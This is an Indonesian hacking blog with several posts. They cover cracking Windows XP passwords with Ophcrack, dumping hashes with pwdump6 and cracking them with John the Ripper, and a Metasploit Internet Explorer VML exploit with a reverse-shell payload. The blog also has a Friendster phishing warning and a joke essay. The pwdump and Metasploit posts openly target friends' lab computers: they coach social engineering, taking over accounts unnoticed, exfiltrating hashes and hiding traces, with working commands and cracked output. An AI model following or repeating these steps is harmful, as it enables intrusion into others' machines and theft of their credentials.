just enter the url of the blog after in Google Translate and choose Indonesian languange and translate to different languange.
for example : click here to translate Indonesian into English
Intro
Sebelumnya saya pernah membuat tutorial mengenai Hack Windows XP (SP2) Passwords menggunakan pwdump6. Namun, cara tersebut mengharuskan user dengan status admin agar dapat ‘dump’ file HASH dari Windows. Sekarang saya akan menyampaikan cara lain untuk ‘cracking’ password Windows XP (semua versi) dengan menggunakan Ophcrack.
Ophcrack is a Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a GTK+ Graphical User Interface and runs on Windows, Mac OS X (Intel CPU) as well as on Linux.
Hebatnya lagi, Ophcrack tersedia dalam bentuk LiveCD, sehingga tidak diperlukan proses instalasi dan tidak perlu password admin, hanya butuh akses agar komputer dapat booting dari CD (biasanya urutan booting default BIOS komputer saat ini dimulai dari CD/DVD ROM, so don’t worry) . Ophcrack LiveCD merupakan Linux yang berbasis SLAX (turunan dari Slackware) dan sudah terdapat Ophcrack dan Rainbow Table untuk cracking password alpanumerik.
Intinya hampir sama dengan cara kerja pwdump6, namun karena Ophcrack menggunakan linux LiveCD sehingga dapat langsung mount file sistem Windows tanpa perlu login ke Windows serta membaca file Hash (windows\system32\config) dan melakukan dump ke file text biasa yang kemudian dapat langsung di crack. Dan hebatnya, tidak perlu Tools seperti JTR lagi, karena crack dilakukan dengan Ophcrack menggunakan Rainbow Table dan memberikan hasil yang sangat cepat.
Ok.. langsung aja kita praktek, tapi sebelumnya pasang disclaimer dulu ah… biar bisa ‘lepas’ tanggung jawab kalau tutorial ini disalahgunakan oleh pihak lain
Disclaimer:
This document was written in the interest of education and care of awareness for unaware people. The author cannot be held responsible for how the topics discussed in this document are applied.
Lets Begin
Pertama kali anda harus mendownload file ISO Ophcrack LiveCD dari sini. Lalu burn ke dalam CD. Dan selanjutnya boot Komputer ‘target’ dari Ophcrack LiveCD, maka akan tampak seperti ini :
Tekan Enter dan biarkan proses Booting berlangsung. Ophcrack akan otomatis masuk ke windows manager menggunakan fluxbox dan langsung menjalankan Ophcrack. Proses pertama adalah mendapatkan file HASH dari partisi yang berisi file Windows kemudian di dump ke file /tmp/ophcrack.tmp
Kemudian tunggu beberapa saat untuk melakukan cracking.
Saya melakukan pengujian menggunakan spesifikasi sebagai berikut : Prosessor AMD +2000 1.6 Ghz, Memori 256 Mb dan dijalankan menggunakan VM-Ware.
Lalu saya menggunakan password yang sangat sederhana, yaitu ‘password123′ dan ‘password’. Hasilnya, Ophcrack mampu menebak kedua password dengan tepat dan hanya membutuhkan waktu 1 Menit!!
Lalu saya coba untuk mengkombinasikan huruf, angka dan simbol dengan memberikan password : ‘p4ssw0rd’ dan ‘p4ssw0rd~!@#’. Hasilnya, Ophcrack mampu menebak ‘p4ssw0rd’ dengan waktu 8 menit dan tidak dapat menemukan ‘p4ssw0rd~!@#’.
Selain menggunakan CD, dengan sedikit modifikasi, Ophcrack juga dapat dijalankan melalui USB Flashdisk. Caranya dengan menginstall SLAX ke dalam USB Flashdisk dan menambahkan modul ophcrack di SLAX serta menyalin Rainbow Tables ke dalam USB, maka Ophcrack LiveUSB sudah dapat dijalankan
Selain itu, untuk mempersingkat waktu, kita dapat mengambil file HASH terlebih dahulu yang terletak di /tmp/ophcrack.tmp kemudian baru di crack di tempat lain tanpa perlu menunggu lagi di komputer target.
Saran
Ibarat pisau bermata dua, Ophcrack dapat menjadi sangat berguna ketika ada seseorang yang lupa password Windows dan ingin me-recovery password dengan cepat dan mudah. Namun disisi lain, Ophcrack dapat juga menjadi ’senjata’ ampuh bagi cracker untuk menjebol Windows dengan cara yang sangat mudah dan cepat. Bahkan kabarnya Ophcrack ini merupakan tools yang paling cepat untuk crack password Windows. Untuk itu ada beberapa hal yang dapat mengurangi resiko agar password komputer kita tidak ‘dibobol’ dengan mudah.
1. Setting password BIOS komputer dan atur urutan boot agar tidak melakukan booting pertama kali dari CD atau USB.
2. Gunakan password yang terdiri dari huruf+angka+simbol agar tidak mudah di crack.
Oph… Crack!!
NB : Cara lain menggunakan ophcrack di Windows dapat dilihat disini
Apakah anda pernah menggunakan komputer di Lab atau pinjam komputer teman atau bahkan menggunakan komputer di tempat umum? Nah, biasanya klo di Lab (berdasarkan pengalaman pribadi) komputer pasti di-password dan jika ingin masuk harus tanya dulu ke sang empunya. Nah, sekarang kita dapat melihat password dari komputer yang kita gunakan tanpa merestart komputer atau pun tanpa menginstall program apapun seperti Cain, L0pthCrack, dsb. Hanya dibutuhkan sedikit ‘kepercayaan’ untuk meminjam komputer (istilah kerennya social engineering) dan 2 buah program, yaitu pwdump6 dan john the ripper. Tapi klo kebetulan ada login umum dengan tipe administrator, itu namanya Hoki! ga perlu cape2 pinjam login teman lagi .
Sebelumnya mungkin anda pernah mendapatkan tutorial mengenai cara menge-hack password user yang ada Windows XP atau NT menggunakan pwdump. Yup, mungkin tutorial ini akan mirip dengan bagaimana cara menge-hack Windows XP, terutama Windows XP SP2. Lalu apa bedanya dengan tutorial yang lain? Saat ini Windows XP SP2 (atau mungkin juga SP1, CMIIW), menggunakan Syskey untuk memproteksi agar HASH (tempat menyimpan password yang dienkripsi) tidak dapat dibaca dan didump menggunakan pwdump atau samdump. Untuk lebih jelasnya berikut penjelasan mengenai Syskey [1] :
Syskey is a Windows feature that adds an additional encryption layer to the password hashes stored in the SAM database. The main purpose of this feature is to deter ‘offline’ attack. In fact one of the most common ways to gather passwords is to copy the system SAM database and then use one of the many good password crackers to “recover” the passwords; of course physical access is almost always required. So with syskey the attacker needs to remove the additional encryption layer to get the password hashes.
Jika dulu mungkin di Windows NT atau XP (sebelum SP2), kita masih bisa menggunakan pwdump atau bahkan langsung dengan KaHT, maka untuk Windows XP SP2 cara tersebut tidak dapat digunakan lagi (mungkin lebih tepatnya, pwdump tersebut tidak dapat digunakan lagi). Nah disinilah letak perbedaan dengan tutorial sebelumnya. Jika sebelumnya kita menggunakan pwdump versi lama, maka sekarang digunakan pwdump6 yang dikembangkan oleh fizzgig and the foofus.net Team. Kalau baca README dari pwdump6 ini, maka pwdump6 adalah :
pwdump6 is a password hash dumper for Windows 2000 and later systems. It is capable of dumping LanMan and NTLM hashes as well as password hash histories. It is based on pwdump3e, and should be stable on XP SP2 and 2K3. If you have had LSASS crash on you using older tools, this should fix that.
A significantly modified version of pwdump3e, this program is able to extract NTLM and LanMan hashes from a Windows target, regardless of whether Syskey is turned on. It is also capable of displaying password histories if they are available. It outputs the data in L0phtcrack-compatible form, and can write to an output file
Oh iya, agar pwdumpd6 dapat dijalankan dan mendapatkan HASH file dibutuhkan account yang mempunyai akses setara dengan Administrator. Nah, oleh karena itu kita harus menjalankan sedikit social engineering. Bilang aja ketemen kita, klo mengakses workgroup, tapi ga bisa klo pake login biasa. Tapi tenang aja, biasanya secara default orang-orang kebanyakan mebuat user dengan tipe account Administrator. Atau gunakan berbagai macam cara, daya, upaya maupun rayuan agar kita bisa dapat login terlebih dulu.
Jika udah punya akses dengan login tipe adiministrator, cara selanjutnya adalah tinggal menjalankan pwdump6. Jika anda punya flashdisk, simpan dan bawa terus pwdump6 ini kemanapun ada pergi, siapa tahu berguna suatu saat.. . Ok, langsung aja kita jalankan pwdump6 ini. Sebaiknya copy dulu pwdump6 ke Hardisk (jangan dijalankan dari flashdik). Sebelumnya downlod dulu pwdump6 ini dari sini atau download dari mirror situs saya disini.
1. Jalankan CMD (Run->cmd)
2. Jalankan pwdump6 seperti berikut (misalnya PwDump6 berada di folder D:\PwDump6)
D:\PwDump6>PwDump.exe -o pass.txt 127.0.0.1
pwdump6 Version 1.3.0 by fizzgig and the mighty group at foofus.net
Copyright 2006 foofus.netThis program is free software under the GNU
General Public License Version 2 (GNU GPL), you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Software
Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program
and the GNU GPL for further details.Using pipe {C411BDE9-594E-47F4-99B5-E94ADF194A45}
Key length is 16
Completed.
3. Setelah itu akan didapatkan file pass.txt yang berisi daftar user dan password yang masih dienkripsi. Contohnya akan tampak seperti berikut :
ach:1003:2BFA42D08601B951ABD697149E2F5967:73098347042E9109FA584CE843018F4F:::
Administrator:500:934A4750EC9859B3EA397B0F6EC18E34:732BD09D6834DA4A5A30300A6A045BF8:::
coba:1004:FBE4F28EE205F0BA79999C25263AA9AA:A69C199A4DF77CD41FCA6EA916A93868:::
Guest:501:NO PASSWORD********************* :NO PASSWORD*********************:::
HelpAssistant:1000:B3D2AE56C93F27B43C4F8419B1A21E9B: DC3DBB258A10B0C7EA9D92133267B905:::
SUPPORT_388945a0:1002:NO PASSWORD*********************: DF1DB672DA1B5C045ECA2490CA753D3B:::
4. Yosh!! password sudah ditangan. Proses selanjutnya adalah menge-crack file pass.txt dengan bantuan John The Ripper. Sebaiknya simpan dulu file pass.txt ke USB atau upload ke tempat yang aman, karena proses cracking ini bisa dilakukan kapan saja dan dimana saja. Berdasarkan pengalaman, kalau passwordnya tidak terlalu sulit ditebak seperti “adminkeren”, “qwerty123″, biasanya dibutuhkan waktu yang tidak terlalu lama untuk mengecracknya lewat John The Ripper. Tapi kalau password menggunakan kombinasi yang aneh-aneh seperti “P4ssW0rD”, “S03S4h”, dsb, biasanya membutuhkan waktu lama, bisa ditinggal tidur atau maen aja dulu. Ok, sekarang gini nih cara ngecraknya.
Download John The Ripper untuk Windows disini. Untuk komputer yang menggunakan Prosesor AMD, sebaiknya menggunakan “john-mmx.exe”. Atau bagi yang menggunakan intel atau AMD, dapat menggunakan “John-386.exe”. Sebelumnya copy file pass.txt ke dalam folder tempat “John-mmx.exe” atau “John-386.exe” berada (John171w\john1701\run). Setelah itu tinggal jalankan perintah berikut dan tunggu dengan sabar :
D:\john171w\john1701\run>john-mmx.exe pass.txt
Loaded 8 password hashes with no different salts (NT LM DES [64/64 BS MMX])
REN123 (Administrator:2)
TEBAK (coba:2)
ADMINKE (Administrator:1)
MUDAHDI (coba:1)
Yosh!! sekarang passwordnya sudah terlihat secara kasat mata. Jadi password untuk user “Administrator” adalah “adminkeren123″, diperoleh dari menggabungkan Administrator:2 dan Administrator:2.
Administrator:1+Administrator:2 = adminkeren123
Sedangkan untuk user “coba” adalah “mudahditebak”!!
Mudah bukan? Intinya sih tinggal ambil HASH file (password yang dienkripsi) menggunakan pwdump6 lalu crack hasilnya dengan John The Ripper.
Nah, sekarang kalau kita mau pakai komputer teman di Lab, ga usah cari2 orangnnya lagi. Tinggal pake aja langsung user Admin lagi, tapi jangan sampai ketahuan ama dia….. Atau klo anda lupa password Administrator, tidak perlu mereboot komputer, lalu mereset password anda. Tinggal ikut langkah2 diatas aja!
Referensi :
[1]. http://studenti.unina.it/~ncuomo/syskey
Thanks to fizzgig for you great tools, pwdump6 (http://www.foofus.net/fizzgig/pwdump)! I’ve been looking for this tools for a log time ago! Thanks dude!! and Thanks to pen-test@securityfocus.com!
Update : Cara yang lebih mudah dapat ditemukan di Hack Windows XP Password dengan Ophcrack
*Fyuhh… akhirnya sempet juga nyelesain tulisan ini. Yosh.. here is the prof of concept!.
Disclaimer: This document was written in the interest of education. The author cannot be held responsible for how the topics discussed in this document are applied.
Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.
Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?
The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetrationtesting, shellcode development, and vulnerability research.
Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.
Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!
Pertama2 jalankan ‘mfsconsole’!
Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.
Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.
This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
Untuk melihat info dari exploit ini gunakan perintah :
msf > info ie_vml_rectfill
Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja ).
Untuk menggunakan exploit gunakan perintah2 berikut dalam console :
msf > use_ie_vml_rectfill
msf > set PAYLOAD win32_reverse
msf > set RHOST ip_target
msf > set LHOST ip_penyerang
msf > exploit
Hasilnya akan tampak seperti gambar berikut :
Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus
Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.
Crack da Password!
Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!
Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :
Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah
C:\temp\Pwdump –o pass.txt 127.0.0.1
Klo berhasil akan tampak pada gambar berikut.
Lalu copy file pass.txt ke komputer kita
C:\temp\copy pass.txt z:
Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.
Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).
Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.
Happy Hacking…..
Beberapa saran agar windows kita tetap aman terhadap exploit diatas.
1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.
2. Patch Windows anda.
3. Gunakan antivirus dengan update terbaru
4. Hati2 terhadap teman anda sendiri.. waspadalah!! ;p
Reference :
http://www.metasploit.com
Beberapa hari belakangan ini profile di Friendster saya tidak bisa dibuka. Apabila mengakses profile saya di FS, maka akan muncul halaman login seakan terjadi error pada FS dan meminta anda login kembali. Berikut tampilannya :
Apabila diperhatikan, alamat situs itu bukan http://www.friendster.com, melainkan http://www.friendster.co.nr! Mungkin bagi kebanyakan pengguna akan serta merta memasukkan email dan passwordnya. Tapi setelah saya liat2.. ternyata itu adalah situs Friendster Palsu! Halaman itu bertujuan untuk mengambil email dan password kita dan mengirimkannya ke tempat lain menggunakan script PHP dari alamat “http://209.190.16.82/bh.php” (bisa dilihat pada source code HTML-nya).
Setelah saya teliti.. ternyata hal ini bisa terjadi akibat testimonial yang menggunakan flash atau sejenisnya (saya lupa.. soalnya udah diapus) yang bisa me-redirect halaman profile kita ke alamat lain. Misalnya yang tadinya ingin membuka alamat http://www.friendster.com/chaidirabadi akan di-redirect menjadi http://www.friendster.co.nr.
Setelah saya cek menggunakan ARIN WHOIS, IP 209.190.16.82 (IP dari script yg digunakan) menghasilkan informasi berikut :
Search results for: 209.190.16.82
OrgName: Columbus Network Access Point, Inc.
OrgID: CNAP
Address: 50 W, Broad St, Suite 627
City: Columbus
StateProv: OH
PostalCode: 43215
Country: US
Sedangkan friendster.com memiliki IP 209.11.168.242 dengan informasi berikut :
Search results for: 209.11.168.242
OrgName: Globix Corporation
OrgID: GLBX
Address: 139 Centre Street
City: New York
StateProv: NY
PostalCode: 10013
Country: US
Jadi sangat jelas bahwa script PHP itu BUKAN script dari Friendster.
Untuk itu.. saya menghimbau kepada temen2 yang sudah pernah memasukkan email dan password melalui halaman Friendster Palsu untuk SEGERA mengganti password. Sedangkan bagi yang belum pernah.. berhati-hatilah. Dan jangan lupa.. bagi yang mengkases Friendster melalui tempat umum (warnet atau lab), ada baiknya untuk menghapus cookies pada browser terlebih dahulu.
*Thx to fira for ur help me to recognize this problem.
(DUKUN VS HACKER) VS (DUKUN = HACKER) |
Pertanyaan awal : adakah seorang dukun yang merangkap profesi sebagai hacker atau sebaliknya, adakah seorang hacker yang merangkap dukun?
Saya anggap –sekarang- tidak ada dan Anda harus setuju. Maaf… dengarkan dulu penjelasan saya. Pertama kita harus mengambil pemahaman bahwa dukun yang dimaksud adalah dukun yang sesungguhnya. Dukun yang sakti mandraguna, yang benar-benar mengerti tentang dunia gaib di dimensi ketiga, keempat, kelima dan seterusnya. Dan juga tentang programmer yang dimaksud adalah programmer canggih –kata arek Suroboyo”cuanggih”, yang mengerti cara kerja gelombang radio, hafal frekwensinya, hafal daftar port, dan bahkan biasa berkelana di dunia maya memasuki rumah-rumah (baca: situs / server) orang tanpa si pemiliknya sendiri tahu bagian itu dalam rumahnya.
Seorang dukun yang berkategori sakti maka dia bisa melihat apa yang tidak kasat mata, berkomunikasi dengan dunia lain di luar dunia ideal yang kita rasakan bersama ini, bahkan seringkali dipersyaratkan untuk seorang dukun sakti adalah harus mempunyai akar (bakat, garis darah, garis ilmu) yang kuat ke dunia masa lalu. Bahwa segala ilmu gaib sakti yang paling sakti adalah yang paling kuno, paling tua. Bahwa untuk mendapat ilmu terhebat, maka dia harus berlomba dengan teman-teman seprofesinya untuk menggali berita dan info paling lama, paling kuno yang bisa mereka dapatkan. Sementara hacker yang hebat adalah seorang yang selalu menjangkau pengetahuan ke masa depan di bidangnya. Semakin berkembang dunia komputer dan pernak perniknya dia selalu mengetahuinya. Dia berlomba dengan hacker-hacker lainnya untuk menjangkau pengetahuan terkini. Bila mungkin dia telah mengetahui batas-batas kapan dan bagaimana sesuatu di dunianya akan berakhir, atau lebih hebat lagi, akan berakhir di waktu yang di mau oleh sang hacker.
Gambarkan sebuah koordinat X, dititik 0 adalah pengetahuan orang awam –awam komputer dan awam dunia gaib- maka artinya semakin ke kiri (-) maka semakin jadul, semakin kuno, dan itulah arah yang ditempuh oleh seorang dukun. Sementara ke kanan (+) adalah arah yang ditempuh oleh seorang hacker.
Bila seorang dukun ingin merangkap jadi hacker maka dia akan kembali berada di tengah koordinat. That’s why tidak ada hacker yang merangkap jadi dukun karena mereka berada di environment yang berbeda… selesai.
Tapi , eits… tunggu dulu, coba kita lihat pernak-pernik mereka dibawah ini:
Mereka sangat mempunyai kesamaan dan kemiripan yang jelas. Tapi tetap saya tidak mengubah pikiran saya diatas, tapi akhirnya saya meneruskan pemikiran ini dengan satu teori bahwa dunia ini bulat. Everything that has the beginning has the end, kata matrix. Semuanya berputar dalam satu lingkaran. Segala pengetahuan, segala cerita, segala sejarah sebenarnya hanyalah putaran ulang. Berputar.. berputar… berputar-putar. Termasuk juga kordinat x saya tadi. Pada satu titik tertentu, titik x- (x negatif) akan bertemu dengan x+ (x positif). Sehingga pada satu ketika dukun tersakti akan bersalaman dengan hacker terhebat karena tiba-tiba mereka tenyata bertemu dalam dunia yang sama dan saling berbagi teori satu sama lain. Hehehe.. maaf dan terima kasih telah membaca artikel futuristik saya ini.
HoLa | Designed by:
Compartidísimo
Images by: Scrappingmar©